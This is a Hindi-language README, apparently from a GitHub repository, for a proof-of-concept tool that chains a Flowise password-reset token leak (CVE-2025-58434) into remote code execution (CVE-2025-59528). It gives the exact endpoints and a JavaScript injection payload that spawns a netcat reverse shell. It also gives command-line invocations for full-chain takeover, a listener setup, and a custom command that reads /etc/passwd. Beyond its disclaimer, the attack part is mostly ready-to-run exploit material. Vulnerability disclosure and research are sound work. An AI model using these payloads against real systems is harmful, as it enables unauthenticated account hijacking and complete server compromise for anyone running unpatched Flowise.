
मॉड्यूलर PoC CVE-2025-58434 (खाता अधिग्रहण) और CVE-2025-59528 (RCE) के लिए Flowise में। अनधिकृत टोकन लीक से लेकर रिवर्स शेल या कस्टम कमांड के माध्यम से रिमोट कोड निष्पादन तक पूरी हमले की श्रृंखला को स्वचालित करता है।
⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए।
इस टूल को उन सिस्टमों के विरुद्ध चलाना जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।
यह रिपॉजिटरी Flowise में पाई गई दो गंभीर कमजोरियों को एक एकल, मॉड्यूलर PoC टूल में संयोजित करती है।
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| प्रकार | खाता अधिग्रहण | रिमोट कोड निष्पादन |
| प्रमाणीकरण आवश्यक | नहीं | हाँ (कोई भी मान्य खाता) |
| CVSS | 9.8 गंभीर | गंभीर |
| प्रभावित | क्लाउड + स्व-होस्टेड | स्व-होस्टेड |
दोनों कमजोरियाँ स्वाभाविक रूप से श्रृंखलाबद्ध होती हैं: CVE-2025-58434 बिना प्रमाणीकरण के खाता अधिग्रहण प्रदान करती है, जो CVE-2025-59528 की प्रमाणीकरण आवश्यकता को पूरा करती है — एक ही स्वचालित रन में बिना प्रमाणीकरण के RCE प्राप्त करती है।
मूल कारण: forgot-password एंडपॉइंट पासवर्ड रीसेट टोकन (tempToken) को केवल ईमेल के माध्यम से भेजने के बजाय सीधे HTTP प्रतिक्रिया बॉडी में लौटाता है।
आक्रमण चरण:
POST /api/v1/account/forgot-passwordtempToken पढ़ें — ईमेल एक्सेस की आवश्यकता नहींPOST /api/v1/account/reset-password → नया पासवर्ड सेट करेंलीक हुई प्रतिक्रिया (संक्षिप्त):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
मूल कारण: CustomMCP नोड उपयोगकर्ता द्वारा प्रदत्त mcpServerConfig को बिना किसी सैनिटाइज़ेशन के सीधे JavaScript के Function() कंस्ट्रक्टर में पास करता है। चूँकि Flowise Node.js पर चलता है, इंजेक्ट किया गया कोड child_process, fs, और सभी Node.js बिल्ट-इन तक पूर्ण पहुँच रखता है।
कमजोर कोड पथ:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unsanitized user input
आवश्यक हेडर:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
डिफ़ॉल्ट इंजेक्शन पेलोड (रिवर्स शेल):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
नोट: रिवर्स शेल पेलोड
cp.exec()(एसिंक्रोनस / फायर-एंड-फॉरगेट) का उपयोग करते हैं, जिससे HTTP अनुरोध तुरंत लौट आता है और टूल टाइमआउट नहीं करता। सामान्य कमांडcp.execSync()का उपयोग करते हैं और आउटपुट इनलाइन लौटाते हैं।
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| घटक | स्थिति |
|---|---|
Flowise क्लाउड (cloud.flowiseai.com) | CVE-2025-58434 से प्रभावित |
| Flowise स्व-होस्टेड (पैच से पहले के सभी संस्करण) | दोनों CVE से प्रभावित |
पैच किए गए रिलीज़ नंबरों के लिए आधिकारिक Flowise सुरक्षा सलाह देखें।
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
requests लाइब्रेरीgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
किसी मोड फ्लैग की आवश्यकता नहीं है। यदि आप स्क्रिप्ट को --chain या --module के बिना चलाते हैं, तो यह स्वचालित रूप से पूर्ण चेन मोड में चलती है। डिफ़ॉल्ट RCE पेलोड एक रिवर्स शेल है — बस --lhost और --lport प्रदान करें।
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
चलाने से पहले अपना लिसनर प्रारंभ करें:
nc -lvnp 4444
python3 flowise_poc.py -h
सभी चार चरणों को एंड-टू-एंड चलाता है: टोकन लीक करें → पासवर्ड रीसेट करें → लॉगिन करें → RCE।
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
tempToken लीक करें और खाते का पासवर्ड रीसेट करें। लॉगिन/RCE से पहले रुक जाता है।
# Default new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Custom new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"